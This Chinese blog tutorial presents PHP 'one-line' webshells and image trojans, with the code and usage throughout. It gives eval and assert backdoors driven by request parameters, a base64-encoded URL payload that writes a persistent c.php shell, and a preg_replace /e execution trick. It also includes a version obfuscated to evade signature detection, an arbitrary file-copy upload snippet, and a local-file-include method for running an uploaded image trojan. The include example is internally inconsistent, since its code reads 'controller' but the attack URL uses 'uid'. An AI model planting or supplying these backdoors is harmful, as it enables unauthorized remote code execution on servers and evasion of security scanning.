php一句话木马和图片木马的运行方法

标准的写法,直接通过eval执行php代码,如下:

<?php  
@eval ($_POST['code']);  
?>  

动态执行assert生成一个木马文件(隐藏性最好的一种)如下:

<?php  
@$_GET['a']($_GET['code']);  
?>  

使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件.如下:

/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};  

a参数为eval时会报错(因为eval不是函数)木马生成失败,为assert时同样报错,但会生成木马

使用preg_replace执行代码(里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)如下:

<?php  
@preg_replace("/re/e", $_POST['code'], "re");  
?>  

把特征码打散.如下:

<?php  
session_start();  
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);  
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');  
?>  

重命名任意文件:

<?php  
$reg="c"."o"."p"."y";  
$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);  
?>  

include的漏洞使用方法:
有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦如下
如果php代码里有一个include($_GET['controller']) 且还有一个url路径为 /index.php?controller=user 这个看起来就是一个根据参数包含执行对应控制器的代码,
但是如果url路径里的参数改成这样 /index.php?uid=/upload/images/muma.jpg 这个时候木马就执行啦

参考文章:
PHP_php一句话木马和图片木马的运行方法
https://www.zhaokeli.com/article/7997.html


 继续浏览关于 技术木马 的文章

 本文最后更新于 2019/06/22 17:06:18,可能因经年累月而与现状有所差异

 引用转载请注明:icret > 教程 > php一句话木马和图片木马的运行方法